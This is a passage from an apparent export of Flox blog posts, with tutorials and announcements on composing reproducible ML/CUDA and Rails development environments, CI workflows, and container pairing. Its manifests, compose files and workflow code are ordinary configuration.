specific case, it's one of three **[include](https://flox.dev/docs/concepts/composition/?h=include#including-an-environment)**-d environments in the project-specific Flox environment that [composes](https://flox.dev/docs/concepts/composition/?h=composing) and consumes it. Let's briefly explore that environment. ## Composing a Project-Specific Model Training Environment The environments above define the reusable foundation of a portable ML/AI stack: a cross-platform PyTorch runtime, a modular CUDA layer for NVIDIA infrastructure, and a cross-platform build environment with the toolchains commonly needed across macOS and Linux. The project-specific environment below composes those shared building blocks into a complete ML model training stack, adding the project-local dependencies, environment variables, isolation (a Python venv), and services researchers need for local development. ```toml [install] uv.pkg-path = "uv" [vars] ML_TRAINING_VENV = "$FLOX_ENV_CACHE/venv" UV_CACHE_DIR = "$FLOX_ENV_CACHE/uv" PIP_CACHE_DIR = "$FLOX_ENV_CACHE/pip" [hook] on-activate = ''' ml_training_setup() { venv="$FLOX_ENV_CACHE/venv" if [ ! -d "$venv" ]; then uv venv "$venv" --python python3 fi if [ -f "$venv/bin/activate" ]; then source "$venv/bin/activate" fi if [ ! -f "$FLOX_ENV_CACHE/.training_deps_installed" ]; then uv pip install --python "$venv/bin/python" --quiet \ numpy \ datasets \ tokenizers \ transformers \ accelerate \ safetensors \ tensorboard \ scikit-learn \ tqdm \ pyyaml touch "$FLOX_ENV_CACHE/.training_deps_installed" fi } ml_training_setup ''' [services] [services.tensorboard] command = ''' source "$FLOX_ENV_CACHE/venv/bin/activate" exec "$FLOX_ENV_CACHE/venv/bin/python" -m tensorboard.main \ --logdir "${TB_LOGDIR:-$FLOX_ENV_PROJECT/runs}" \ --host "${TB_HOST:-localhost}" \ --port "${TB_PORT:-6006}" ''' is-daemon = true shutdown.command = "pkill -f 'tensorboard.main'" [include] environments = [ { remote = "barstoolbluz/build-env" }, { remote = "barstoolbluz/cuda-dev-essentials" }, { remote = "barstoolbluz/pytorch-runtime" } ] ``` The TOML expressed in the **`[include]`** section transforms this from a standalone project environment into a composed ML/AI training stack. Rather than building all dependencies into a single, layered OCI image, the composing environment resolves and locks the declarative manifests defined under **`[include]`** to compatible packages _at edit time_. This pattern has the advantage of surfacing conflicts during resolution, not later at runtime. It also gives teams the freedom to create environments tailored to project-specific concerns—Python packages, setup/teardown logic, services, etc.—and base these on versioned runtimes and toolchains. Running the composed environment is as simple as typing: ```bash flox activate -r floxrox/ml-training ``` If you're on a CUDA system, make sure you've got a fast Internet connection and 10 gigabytes of disk space. The CUDA version of this stack is much bigger than the macOS one. ## Flox for the First and Last Mile in AI This composed ML stack will run as-is on Slurm clusters. You can run it from a single shared environment (accessible via NFS), or independently **`flox activate -r barstoolbluz/ml-training`** on GPU nodes. No matter how you do it, each node gets the same packages and the same runtime environment—the same env vars, services, and secrets. Just like that, Flox mitigates one of the more frustrating issues in ML/AI training today. Because Slurm by itself doesn't address the core challenge of **reproducibility**: i.e., getting every node in a cluster to run against the same ML/AI runtime, with the same dependency graph and the same versions of CUDA, Python, and other critical dependencies. So researchers still have to deal with [environment modules](https://lmod.readthedocs.io/en/latest/index.html), which tend to drift across login and compute nodes. Containerized ML workflows on Slurm often depend on runtimes like Singularity or Apptainer, which require cluster-specific setup. This adds packaging and operations layers on top of the ML/AI workload itself. Alternatives like Conda have drawbacks of their own: Conda environments that bake in a large number of CUDA and Python dependencies can take a long time to resolve. Teams cannot copy a working Conda environment to a new prefix (i.e., path) and expect it to keep working. Unless every node sees the same shared environment path, teams will typically need to add a separate packaging or distribution step. Flox matches the way shared HPC systems operate. A job script can call **`flox activate -d "$SLURM_SUBMIT_DIR"`** and run against the same pinned runtime—either defined in a project's Git repo or pulled (as a versioned, managed environment) from FloxHub at runtime. The first activation realizes the environment and populates the shared cache; later activations reuse the same pre-resolved environment. ## From Training on Slurm to Serving on Kubernetes and Beyond During model training, teams need every node in a cluster to run against the same pinned runtime. After training, MLOps and platform teams need even stronger reproducibility safeguards as they promote validated checkpoints through evaluation, staging, and production serving on Kubernetes. Flox gives teams a fast, secure path from prototyping to batch training, and from eval to CI to prod … without forcing them to rebuild images, repackage environments, or debug inconsistencies each step of the way. During model training, Flox makes it easy for teams to create modular ML/AI stacks composed out of pinned, versioned build and runtime dependencies. After training, MLOps teams can use this same pattern to compose purpose-built Flox environments for evaluation, benchmarking, checkpoint packaging, and release gating. Similarly, platform teams can compose their own Flox environments for staging, serving, canaries, observability, and production rollouts on Kubernetes. Again, _the same declarative Flox environment_ serves as a runtime foundation across the ML/AI lifecycle—up to and including deployment. Platform teams can use **`flox containerize`** to generate minimal, distroless OCI images from declarative Flox environments, or run those environments ["uncontained" on Kubernetes](https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/) by referencing [a versioned FloxHub environment](https://flox.dev/docs/concepts/generations/) directly in the Pod spec. Flox fundamentally changes how teams train, evaluate, and maintain ML/AI stacks. The unit of promotion becomes an atomic reference (a Git commit or a specific generation of a FloxHub environment), rather than a pinned digest. Instead of rebuilding, pushing, pulling, and debugging multi-gigabyte OCI images every time a dependency changes, teams promote versioned Flox environments from training to eval to production. Visit [FloxHub](https://hub.flox.dev) and get started today! Title: Flox and Containers: A Perfect Pattern for Local Development Source: https://flox.dev/blog/flox-and-containers-a-perfect-pattern-for-local-development/ Date: 2026-03-26 Category: guide # Flox and Containers: A Perfect Pattern for Local Development Learn how to pair Flox with containers for local development: Flox provides the project runtime on the host, while containers run supporting services like PostgreSQL. Flox spans the entire software development lifecycle (SDLC), but most teams adopt it first in local development, either as a solution for fixing chronically broken dev setups or as an alternative to dev containers. They like Flox environments because they run as subshells on their local machines, enabling access to local tools, shell settings, secrets, and data, unless the environment explicitly overrides them. Customers often pair Flox with containers in local dev, typically in a complementary way designed to minimize hassle and overhead. The following tutorial is inspired by a pattern one customer, Ryan Schlesinger, engineering lead with [detaso](https://detaso.com/), uses with his own team. At detaso, Flox environments provide the project runtime, including the language, libraries, build tools, and CLI teams use to develop and test software, while containers power services such as PostgreSQL, Redis, and others. This tutorial features a Rails application backed by PostgreSQL. Flox provides the Ruby development runtime on the host, while containers run the database and any other required long-running services. ## The best of both worlds Ryan likes this pattern because he says Flox pairs perfectly with [OrbStack](https://orbstack.dev/), macOS software for running Docker containers and local Kubernetes "clusters." OrbStack is detaso's preferred way to run long-lived local services on macOS because it is fast, dependable, deeply integrated with the Mac, and makes it easy to reset or restore local service state to a known-good point in seconds. Ryan argues that the Flox-Orbstack pairing gives detaso the best of both worlds: - Teams get a Flox-powered project runtime that feels native; - Teams run the same kinds of supporting services locally in OrbStack that they use in CI and production; - Team leads like Schlesinger can version and manage both Flox runtimes and OCI images. Even though Ryan and his team are partial to OrbStack, you can achieve comparable results with virtually _any_ container runtime. The point is an **equitable division of labor**: teams build inside versioned Flox dev environments; supporting services (like databases) run inside containers. Teams no longer need mount their projects into containers, defining mount points, configuring networking, injecting env vars and secrets, etc. The container isolates precisely the services they _don't_ need to penetrate. ## Prerequisites and setup What you need to get started: [The Flox CLI](https://flox.dev/download/). If you're playing along with an AI agent: Check out [the Flox MCP server](https://hub.flox.dev/packages/flox/flox-mcp-server). **Note**: This tutorial assumes you use OrbStack, but Docker Desktop, Colima, and other container runtimes will work just fine. If you don't have OrbStack installed, fear not: it's defined in the Flox manifest below. You can run **`flox activate -s`** to take it for a test drive as part of this tutorial. First, run **`git clone https://github.com/floxrox/orbstack-flox-poc`**. Next, change into **`./orbstack-flox-poc`** and run **`flox edit`**. This opens the Flox manifest in your default editor. Let's first look at the **`[install]`** section: ```toml [install] # Language runtime ruby.pkg-path = "ruby" # Ruby 3.4.x — the app runtime # Database client (for pg gem compilation and CLI tools like psql) postgresql.pkg-path = "postgresql" # PostgreSQL client libs + psql CLI # Native library dependencies (required for gem compilation) libyaml.pkg-path = "libyaml" # Required by psych gem (YAML parsing) # Build toolchain (for compiling native gem extensions) # On macOS, gcc from nixpkgs is a broken clang wrapper that can't find the SDK. # Use clang on darwin, gcc on linux. clang.pkg-path = "clang" # C compiler for macOS native extensions clang.systems = ["aarch64-darwin", "x86_64-darwin"] gcc.pkg-path = "gcc" # C compiler for Linux native extensions gcc.systems = ["aarch64-linux", "x86_64-linux"] gnumake.pkg-path = "gnumake" # Make for native extension builds pkg-config.pkg-path = "pkg-config" # Finds library paths for compilation # Developer utilities gum.pkg-path = "gum" # Styled terminal output; you'd skip this for minimal envs # Docker/container runtime (macOS only) orbstack.pkg-path = "orbstack" # Fast Docker & Linux VM runtime orbstack.systems = ["aarch64-darwin", "x86_64-darwin"] # darwin-only OS constraint # Cross-platform compatibility coreutils.pkg-path = "coreutils" # GNU coreutils (consistent across OS) gnused.pkg-path = "gnused" # GNU sed (macOS ships BSD sed) ``` Two dozen lines of TOML define the environment's entire dependency surface. When you share this environment, either by co-locating it with your project code in a Git repository or by **`flox push`**-ing it to [FloxHub](https://flox.dev/docs/concepts/floxhub/), every developer who activates this environment gets the same Ruby, the same PostgreSQL client libraries, and the same **`libyaml`**, regardless of whether they are working on an M3 MacBook or an x86-64 Linux laptop. There's no Homebrew to drift; no global installation to break things; no **`README`** that's chronically out of date. There's only a declarative manifest (**`manifest.toml`**) and the lockfile (**`manifest.lock`**) that pins the package versions defined in it. The **`[hook]`** section sets the runtime config via environment variables. It defines sensible defaults: ```bash export PSQL_HOST="${PSQL_HOST:-localhost}" export PSQL_PORT="${PSQL_PORT:-5432}" export PSQL_USER="${PSQL_USER:-postgres}" ``` To point at a different database, simply override these defaults at runtime: **`PSQL_HOST=10.0.1.5 flox activate`**. The rest of the hook—gem path setup, dependency installation, a status banner message—follows the same pattern of modular, idempotent functions that do their work and get out of the way. ## Services run in containers Postgres, by contrast, runs in a container. This makes sense: developers don't need to work "inside" Postgres' runtime boundary; instead, they access its external interface—via psql, ORMs, Ruby's **`pg`** driver, migration tools, or SQL clients like JDBC—the same way their project does. Developers _do_ however need direct access to their project's runtime environment because that's the locus of iteration. In this pattern, Flox provides the project environment, while containers isolate the services the project consumes. You can even BYOCD—bring your own Compose Definition—like this one: ```yaml services: postgres: image: postgres:17-alpine container_name: flox-poc-postgres ports: - "${PSQL_PORT:-5432}:5432" environment: POSTGRES_USER: "${PSQL_USER:-postgres}" POSTGRES_PASSWORD: "${PSQL_PASSWORD:-postgres}" POSTGRES_DB: "flox_rails_poc_development" volumes: - pgdata:/var/lib/postgresql/data - ./db/init:/docker-entrypoint-initdb.d:ro healthcheck: test: ["CMD-SHELL", "pg_isready -U $$POSTGRES_USER -d $$POSTGRES_DB"] interval: 5s timeout: 3s retries: 5 volumes: pgdata: ``` The same **`PSQL_*`** variables appear in both the Flox **`[hook]`** and the compose file. Both artifacts share a vocabulary, even if they don't share a mechanism: their relationship is semantic, not structural. ## The same manifest can power CI Because the Flox manifest is the source of truth for the runtime, CI can consume it directly rather than maintaining its own parallel definition. An example GitHub Actions workflow does precisely this: ```yaml name: CI on: push: pull_request: jobs: test: runs-on: ubuntu-latest services: postgres: image: postgres:16 env: POSTGRES_PASSWORD: postgres options: >- --health-cmd "pg_isready -U postgres" --health-interval 10s --health-timeout 5s --health-retries 5 ports: - 5432:5432 env: RAILS_ENV: test PGHOST: localhost PGPORT: 5432 PGUSER: postgres PGPASSWORD: postgres steps: - uses: actions/checkout@v4 - name: Install Flox uses: flox/install-flox-action@v2 - name: Install dependencies via Flox uses: flox/activate-action@v1 with: command: bundle install - name: Setup database uses: flox/activate-action@v1 with: command: bundle exec rails db:create db:migrate - name: Run tests uses: flox/activate-action@v1 with: command: bundle exec rails test ``` There's no **`ruby-setup`** action, no version matrix, no **`.tool-versions`** file to keep in sync. Instead, the Flox manifest pins the Ruby version, and **`flox activate`**-ing provides Ruby plus all other dependencies. Postgres runs as a GitHub Actions service container. This mirrors the structural split in local development. ## From dev environment to production image The **`flox containerize`** command makes it simple to build OCI images from declarative Flox environments, but the production OCI image need not be generated from the Flox project environment. After all, Flox-generated containers don't always align with all workflows or requirements. Many teams (like Ryan's at detaso) already have mature Dockerfile-based image pipelines, with hardened patterns for multi-stage builds, layer caching, base-image selection, tagging, scanning, and release automation. Even though the Flox manifest does not mechanically translate into a Dockerfile, it's a useful input when authoring OCI images. It provides a declarative view of an environment's packages, toolchains, variables, activation behavior, and defined services/build recipes. This makes it easier to author OCI images that match a project's environment without reverse-engineering that environment through trial and error. ```dockerfile # A Dockerfile author might translate parts of the Flox manifest roughly like this: # ruby 3.4 -> ruby:3.4-slim base image # postgresql (client) -> libpq-dev in build stage, libpq5 at runtime # libyaml -> libyaml-dev # gcc, gnumake -> build-essential in build stage # pkg-config -> pkg-config in build stage # # Not every package in the Flox dev environment belongs in the production image; # local-only tools such as gum, coreutils, and gnused would usually be omitted. ``` In a Debian-based multi-stage image, the build stage pulls in **`build-essential`**, **`libpq-dev`**, and **`libyaml-dev`** for gem compilation; the runtime stage keeps only **`libpq5`** and **`libyaml-0-2`**. ## Trade-offs and limitations An honest assessment of this pattern must also recognize its limitations. For one thing, Nix and Debian packages do not share the same naming conventions: Flox ships one **`libyaml`** package for dev and run time; Debian two: **`libyaml-dev`** and **`libyaml-0-2`**. Transitive dependencies are another gotcha: Nix packages travel with their full set of dependencies (in Nix-speak, this is known as a "[closure](https://nix.dev/manual/nix/2.22/glossary.html?highlight=closure#gloss-closure)"); **`apt`**, Debian's package manager, resolves its own dependency graph. The two do not and should not produce byte-identical results. The build toolchain is another source of divergence: Flox provides **`gcc`** and **`gnumake`** as discrete packages; the Dockerfile uses **`build-essential`**, Debian's metapackage. The value of this pattern is that it makes the local development environment explicit, inspectable, and reproducible—across OS/architectures and across time. This makes the prod side easier to get right. ## Getting started The example project runtime—viz., the Flox manifest, Compose file, CI workflow, Dockerfile, and helper scripts—is [on GitHub](https://github.com/floxrox/orbstack-flox-poc). You can clone it, run **`flox activate`**, and run **`bundle install`** to install the Ruby gems declared in **`Gemfile.lock`** into the Flox environment's cache. Then bring up Postgres with **`scripts/db-up`**, and start the Rails server with **`scripts/dev`**. On a modern MacBook, the complete sequence takes less than a minute. The Flox Catalog has more than 215,000 packages, with millions of historical package-version combinations. You can search for and discover both packages and _prebuilt environments_ at [FloxHub](https://hub.flox.dev/), including environments for running workflow orchestrators (like [Airflow](https://hub.flox.dev/floxrox/airflow-stack), [prefect](https://hub.flox.dev/floxrox/prefect), and others); databases (like [Postgres](https://hub.flox.dev/flox/postgres), [MariaDB](https://hub.flox.dev/floxrox/mariadb), [Redis](https://hub.flox.dev/flox/redis)); streaming platforms (like [Kafka](https://hub.flox/dev/kafka)); even production-grade model-serving engines ([vllm](https://hub.flox.dev/vllm-runtime), [nvidia-triton](https://hub.flox.dev/flox/triton-runtime), [llama.cpp](https://hub.flox.dev/llamacpp-runtime)), and scads of others. Discover a more elegant approach to local dev: reproducible project runtimes that feel native on your own machine … because they are. Title: BYOA Needs a Floor. That Floor Is Flox. Source: https://flox.dev/blog/byoa-needs-a-floor-that-floor-is-flox/ Date: 2026-03-18 Category: news # BYOA Needs a Floor. That Floor Is Flox. The BYOA governance stack from Red Hat provides the ceiling and walls. Flox provides the floor: a deterministic, input-addressed runtime substrate that makes the governance layer mean something. Red Hat [published a good piece](https://www.redhat.com/en/blog/operationalizing-bring-your-own-agent-red-hat-ai-openclaw-edition) this week on "Bring Your Own Agent" - the idea that the platform shouldn't dictate your agent framework. [LangChain](https://github.com/langchain-ai/langchain), [CrewAI](https://github.com/crewaiinc/crewai), [AutoGen](https://github.com/microsoft/autogen), custom harness? Doesn't matter. Red Hat's platform wraps it: identity, RBAC, guardrails, tracing, lifecycle management. Framework-agnostic governance. The agent stays yours. **Yes. And.** All of that governance expects to wrap around a runtime. But what's in the runtime is assumed. That assumption is doing a lot of work. ## The Floor Is Missing The Red Hat stack is real and it's useful. [Kagenti](https://kagenti.github.io/.github/) injects [SPIFFE](https://spiffe.io/) identity. The MCP Gateway enforces tool-level authorization by token claims, not prompt content. The Guardrails Orchestrator screens model inputs and outputs at the inference boundary. [TrustyAI](https://github.com/trustyai-explainability) traces execution. [Garak](https://github.com/NVIDIA/garak) scans for jailbreaks before promotion. That's the ceiling and the walls. **What about the floor?** _The floor is the environment your agent actually runs in_. The Python runtime. The tool server binaries. The model inference dependencies. The packages your agent's framework pulled at install time, from wherever, with whatever version resolver was feeling lucky that day. Governance at the orchestration layer is only as trustworthy as the thing it's governing. *Wrap an unknown in a governance harness and you get a governed unknown.* That's not nothing, but it's not the same thing as a *known* known. ## What Agents Actually Do Agents download, import, install, or call software and dependencies that have not been approved. They hallucinate packages. Their velocity outpaces review. Sound familiar? It should. [I wrote about this](https://flox.dev/blog/cves-are-now-being-exploited-much-faster-than-you-can-respond/) in January, in the context of CVEs. Agents can weaponize a CVE in minutes: Anthropic demonstrated that Claude Sonnet 4.5 can replicate the Equifax breach from memory, no lookup required. The remediation window is now measured in minutes, not days. That CVE lives somewhere in a dependency graph. Somewhere in a **`pip install`** that resolved to **`latest`** six weeks ago. Somewhere in an MCP server binary that nobody pinned because it was "just a tool server." The MCP Gateway governs *which tools the agent can call*. **It doesn't know what those tool servers are made of.** That's a different problem. And it's the problem Flox solves. Here's the inversion worth sitting with: agents don't just get governed *through* MCP - they can use MCP *to author the environment itself*. The [Flox MCP server](https://hub.flox.dev/packages/flox/flox-mcp-server) lets any MCP-capable coding tool—Claude Code, Codex, Cursor, OpenAI, Crush, Windsurf—author, build, and publish pinned, reproducible Flox environments on demand. The agent builds the floor it's going to run on. Then Red Hat's MCP Gateway governs what it does from there. The stack closes. ## The Environment Is the Unit of Trust For Flox, the environment—not the package, not the container, not the image digest—is the atomic unit of deployment, security, and trust. Every Flox environment is built from input-addressed hashes. The same inputs yield the same outputs, bit-for-bit identical, anywhere, at anytime. The hash and the build are the same thing, not a description of each other. This is something wholly different from "Is/is not reproducible?" as a compliance checkbox; with Flox, it's nothing less than _mathematical certainty_. > The Flox SBOM is a mathematical proof, not an inference. When a CVE drops, you query the hash. You get blast radius in milliseconds. You cordon, block at admission, roll back: all of this is automated, auditable, and keyed to the same hash that sits in your pod annotation. In other words, you aren't scanning at runtime and _inferring_ what's inside; you aren't looking at a Dockerfile without knowing for sure what's drifted and why; you aren't scanning an SBOM that includes irrelevant build-time dependencies or just doesn't know about some statically linked library that disappeared into some binary. The Flox hash travels. It's the same from the developer's laptop to CI, from CI to staging, from staging to the production pod running inside your OpenShift cluster with Kagenti injecting its identity credentials. **The hash is the join key that connects your vulnerability intel to your runtime inventory to your policy layer.** This Red Hat solution governs what agents do. Flox governs what agents run on. Just as a sandbox can give you isolation and containment, Flox says "you can have this plastic pail and shovel, but you cannot grab the bulldozer." ## The Agentic Supply Chain Problem The Red Hat post celebrates framework diversity. LangChain. LlamaIndex. CrewAI. AutoGen. Good: the creative phase should be messy. But each of those frameworks has a dependency graph. That graph needs to be pinned, reproducible, and auditable *before* you can trust anything the runtime governance layer says about the agent running on top of it. And the same goes for the MCP servers those agents call. Which binary? Which version? Evaluated when, against what CVE database? The ugly truth is that governance without provenance is theater. Flox was born inside the D. E. Shaw group to solve exactly this. The goal, stated simply, was **Run the same bits you test.** Not approximately. Not probably. Exactly. Input-addressed hashing is how you prove it. The Red Hat stack gives you a governance harness. Flox gives you a deterministic substrate so the harness has something stable to attach to. A fixed point or reference. ## What This Looks Like in Practice A Flox environment for your LangChain agent looks like this: ``` [install] langchain.pkg-path = "python312Packages.langchain" langchain-anthropic.pkg-path = "python312Packages.langchain-anthropic" python.pkg-path = "python312" ``` That manifest resolves to a complete, input-addressed closure: every package, every transitive dependency, and the realized environment itself under a SHA-256-based Nix store path. That hash gives you an exact artifact to pin, while Flox assigns each revision of the environment a generation you can promote, compare, or roll back. You push it to FloxHub, pull it in CI, materialize it into a container at compose time, or run it ["uncontained"](https://flox.dev/blog/with-kubernetes-uncontained-flox-unlocks-faster-more-reproducible-workloads-on-k8s/) directly on Kubernetes, closer to the hardware, without the image overhead. You use the same hash—or the same Flox env reference—at every stage. Speed matters here too. Downloading a prebuilt, CUDA-accelerated PyTorch wheel from the Flox Catalog takes **1m 11s**. Building the same wheel from source takes **55x** longer: over 65 minutes on a beefy 32-core machine. The governance story only works if teams can actually ship the pinned artifact, but build times measured in hours are how "we'll pin it later" becomes policy. When Kagenti discovers the agent via [AgentCard](https://agent2agent.info/docs/concepts/agentcard/) [CRD](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) and injects SPIFFE identity, the thing it's governing has a known, provable, auditable software bill of materials attached to it. Not a Docker digest that tells you *what arrived*; instead, an input-addressed hash that tells you *how it was built and from what*. Best practices can't beat physics. But math can. ## The Complementary Stack This isn't a Red Hat vs. Flox argument. Quite the opposite: It's a layer argument. The platform governance story Red Hat is building—identity, tool authorization, guardrails, tracing, lifecycle –is absolutely the right story for operationalizing agents at enterprise scale. Flox sits underneath all of it, providing the reproducible, SBOM-grounded substrate that makes the governance layer mean something. Every organization moving agents from laptop to production hits the same wall: "it worked in dev." The reason it worked in dev is that nobody pinned anything. The reason it fails in prod—or worse, silently misbehaves—is the same reason. Flox closes that gap. Not by wrapping the agent in yet another abstraction, layer, or platform, but by making the runtime environment tself the thing you ship. Your sandbox needs a ground-truth bottom. We built one. *Learn more about [Flox environments for agentic development](https://flox.dev/blog/a-turnkey-toolkit-for-agentic-development-with-flox/), [hash-based CVE response](https://flox.dev/blog/cves-are-now-being-exploited-much-faster-than-you-can-respond/), and the [Flox CUDA Kickstart Program](https://flox.dev/cuda-kickstart). Install the [Flox MCP server](https://hub.flox.dev/packages/flox/flox-mcp-server) to let your agents author environments directly.* Title: Precision at Scale in Capital Markets: Deploying Hardened Flox NVIDIA CUDA Stacks in Minutes, Not Hours Source: https://flox.dev/blog/deploying-hardened-flox-nvidia-cuda-stacks-in-minutes-not-hours/ Date: 2026-03-16 Category: news # Precision at Scale in Capital Markets: Deploying Hardened Flox NVIDIA CUDA Stacks in Minutes, Not Hours The Flox CUDA Kickstart Program gives teams validated, reproducible CUDA environments and slim GPU-specific builds for common serving workloads, with technical resources demonstrating simple, controlled promotion, one-step rollback, deterministic SBOMs, and other features. Today, Flox is announcing general availability of a streamlined, deterministic [NVIDIA CUDA](https://developer.nvidia.com/cuda) experience: the [Flox CUDA Kickstart Program](https://flox.dev/cuda-kickstart). The Flox CUDA Kickstart Program defines a reference architecture for deploying deterministic, reproducible CUDA-accelerated ML/AI environments on NVIDIA AI infrastructure at scale. An accompanying capital markets technical case study shows how firms use Flox to move CUDA workloads from research to production with controlled promotions, one-step rollbacks, and deterministic Software Bills of Materials (SBOMs) for accelerated CVE remediation. CUDA Kickstart provides access to validated Flox environments for common CUDA machine learning serving patterns (diffusion model serving, LLM inference, and others), plus slim, GPU-architecture-specific builds of PyTorch, vLLM, llama.cpp, and more. These reduce artifact size and image build times, accelerating rollout across GPU fleets. Teams can ship OCI images built from Flox environments or run them "uncontained" on Kubernetes. By making the declarative environment, not the container image, the unit of change, AI/ML teams can build and securely ship lightweight, portable CUDA stacks that work on any machine without conflicts. The program is the fruit of Flox's collaboration with NVIDIA, focusing on the Nix ecosystem, to strengthen the open infrastructure around CUDA. "NVIDIA is committed to meeting developers where they are. Our collaboration with Flox and Nix strengthens the open ecosystem around our CUDA-X offerings, making it faster and more reliable to deploy accelerated AI frameworks," said Ioana Boier, Global Head of Capital Markets Strategy at NVIDIA. "By simplifying how CUDA is delivered and deployed, we're helping enterprises build AI factories that run consistently across all platforms, so teams can focus on innovation, not integration." ## The Birth of Flox at the D. E. Shaw Group Flox, a member of the [NVIDIA Inception program](https://www.nvidia.com/en-us/startups/) for startups, was born in financial services to build, ship, and run critical systems, including those that require CUDA-accelerated ML dependencies, without surprises. Flox grew out of the firm's longstanding investment in managing software complexity within a large-scale, research-driven environment. For a pioneering investment and technology development firm, the goal was simple but high-stakes: **Run the bits you test!** To meet that standard, the D. E. Shaw group built internal infrastructure around Nix to ensure correctness and consistency. Over time, that platform evolved into what is now Flox. In the process, the team surfaced the power and practical frictions of existing tooling, clarifying what a model for technical users across research and engineering domains would need to deliver. Flox emerged as the solution to make this rigorous, reproducible software development viable at scale. Led by Flox CEO Ron Efroni and CTO Michael Brantley (the original creator at the D. E. Shaw group), Flox was spun out to bring this institutional substrate to the rest of the world. "We're proud to have contributed to Flox's beginnings and delighted that it's grown into an independent platform," said **Neil Katz, Managing Director at the D. E. Shaw group**. "Watching Flox mature in ways that align with the broader NVIDIA CUDA ecosystem demonstrates its readiness and relevance to the sorts of challenges that we and other leading technologists face today." ## Why the Environment is the Unit of Change Most ML/AI teams currently grapple with a "unit of change" problem. Containers and VMs give them a way to run conflicting CUDA stacks side by side on the same hardware (from laptops to workstations to GPU clusters), but at the cost of building and maintaining massive, multi-gigabyte container images. With Flox, the **environment itself becomes the unit of change**, putting teams closer to the hardware without the bloat: - **Declarative & Portable:** Environments are defined in simple TOML and work across the entire SDLC. - **Side-by-Side Isolation:** Teams can run different CUDA toolkit versions (e.g., CUDA 11.4 and 12.9) on the same machine simultaneously without them breaking one another. - **Immutable Tracking:** Every stack is a versioned, hash-pinned artifact. You don't "hope" it works in production; you _know_ it will, because the bits are identical. ## Scaling Speed With NVIDIA & Flox To scale its solution, **Flox collaborated with NVIDIA** and the Nix Foundation to remove the "patching tax" from AI development. The Flox Catalog now offers access to prebuilt, pre-patched CUDA dependencies for users of both Flox and Nix, built from canonical open source Nix build recipes maintained by the Nix CUDA team. This turns the delivery of CUDA dependencies into a secure, reproducible software supply chain. Teams get prebuilt, patched CUDA dependencies that work the same across laptops, workstations, and GPU clusters. Nix is used by more than 2,000 companies, with significant uptake in capital markets and other highly regulated industries. Of the 10 largest U.S. financial services firms ranked by assets, one-third use Nix. With over 10,000 contributors and at almost 1 PB of data, the Nix binary cache is one of the largest public software repositories on the internet: users download more than **3 PB** of Nix software each month. Historically, these users had to build CUDA packages and ML tooling from source, a process that takes hours and can produce inconsistent results. For example, downloading a prebuilt, CUDA-accelerated PyTorch wheel from the Flox Catalog takes **1m and 11s**; building the same wheel from source **takes 55x longer** (more than **65 minutes**) on a beefy 32-core AMD ThreadRipper system. On the same machine, compiling a complete PyTorch inferencing stack (CUDA 12.8, MAGMA, Triton, ONNX Runtime, and PyTorch) takes more than **two hours**. Access to CUDA packages in the **Flox Catalog** changes this, providing easy access to pre-built, deterministic CUDA packages with five-plus years of history. This allows teams to: - **Skip the Build:** Access pre-built, redistributed NVIDIA CUDA packages instantly. - **Navigate Complexity:** Automatically resolve compatibility between the CUDA Toolkit, cuDNN, PyTorch, NVIDIA TensorRT, JAX, and other frameworks. - **Audit Everything:** Generate deterministic SBOMs for every environment, ensuring full provenance of the AI supply chain. ## The Way Forward for AI Infrastructure Modern ML stacks built on NVIDIA CUDA underpin research across every sector. But ML/AI teams working on more than one project frequently need to run different CUDA toolkit versions side by side: different CUDA and ML framework versions, pinned dependencies, and legacy and cutting-edge releases all competing for the same hardware. As CUDA stacks become more critical to operations, "it works on my machine" is no longer an acceptable standard. The Flox CUDA Kickstart Program takes what Flox, Nix, and the Nix CUDA team make possible and turns it into an adoption kit for CUDA at fleet scale. The program's reference architecture was forged in financial services. Pairing Flox with the NVIDIA CUDA platform, drawing on lessons first developed by technologists at the D. E. Shaw group, gives teams one place to define, control, and ship ML-accelerated CUDA stacks from development through production. Flox's collaboration with NVIDIA reflects the industry's shift toward reproducibility and auditability, especially in regulated sectors like financial services. Together, they're strengthening CUDA's integration into the Nix ecosystem to make NVIDIA platforms a first-class dependency for thousands of Nix users. CUDA is just the start—the long-term goal is to make the entire NVIDIA accelerated computing platform easy to install, version, and manage within Nix. If you're at [NVIDIA GTC](https://flox.dev/nvidia-gtc), we're at booth #4046; stop by to see Flox CUDA stacks in action. Or [book time with us](https://calendly.com/ben-flox/meet-flox-gtc) to discover how Flox can transform your NVIDIA CUDA-based AI/ML workloads. To learn more, explore [the Flox CUDA Kickstart discovery site](https://flox.dev/cuda-kickstart), or [check out FloxHub](https://hub.flox.dev/packages) to explore NVIDIA CUDA packages in the Flox Catalog. Title: GPU-Optimized PyTorch Builds Made Easy with Flox and Nix Source: https://flox.dev/blog/gpu-optimized-pytorch-builds-made-easy-with-flox-and-nix/ Date: 2026-03-16 Category: guide # GPU-Optimized PyTorch Builds Made Easy with Flox and Nix Learn how to use Flox and Nix to build, package, and publish optimized PyTorch packages that are up to 70% smaller than generic builds, with better performance and reduced attack surface. Flox makes it easy to build, package, and publish targeted, GPU-specific builds of [NVIDIA CUDA](https://developer.nvidia.com/cuda) dependencies like [PyTorch](https://github.com/pytorch/pytorch), [MAGMA](https://icl.utk.edu/magma/), the [ONNX Runtime](https://onnxruntime.ai/), and so on. But why would you want to do that? - **Shrink the size of your PyTorch wheels**. Generic PyTorch pulls in support for almost a dozen different CUDA architectures, plus Intel- and Apple-specific GPU and CPU builds. - **Get better performance + reduce your attack surface**. Compiling for the hardware and libraries you actually run improves performance; the fewer unused backends + code paths you ship, the less is exposed. - **Ship one pinned artifact everywhere**. Publish targeted builds for dev, CI, and production, rather than using whichever upstream PyTorch packages happen to exist. Prototype and train using GPUs in research, optimize for CPU inferencing in eval, run minimal, CPU-optimized PyTorch builds in production. The best reason of all is that building with Flox is … simple. Just fire up your preferred AI coding tool, install the [Flox MCP server](https://hub.flox.dev/packages/flox/flox-mcp-server), and instruct the agent(s) to author targeted, GPU-/CPU-specific build recipes. Publish the packages to your Flox Catalog; define them in declarative, reproducible Flox environments; and run them on bare metal, in VMs, or [uncontained on Kubernetes](https://flox.dev/blog/kubernetes-uncontained-explained-unlocking-faster-more-reproducible-deployments-on-k8s/). You can even use declarative Flox environments to _build_ minimal OCI images, too. This guide walks you through how to use Flox to build, package, and publish GPU- and CPU-optimized software. It uses PyTorch as an example, building a CUDA-accelerated PyTorch runtime that's about 60% the size of the PyTorch runtime in [nixpkgs](https://github.com/NixOS/nixpkgs). On 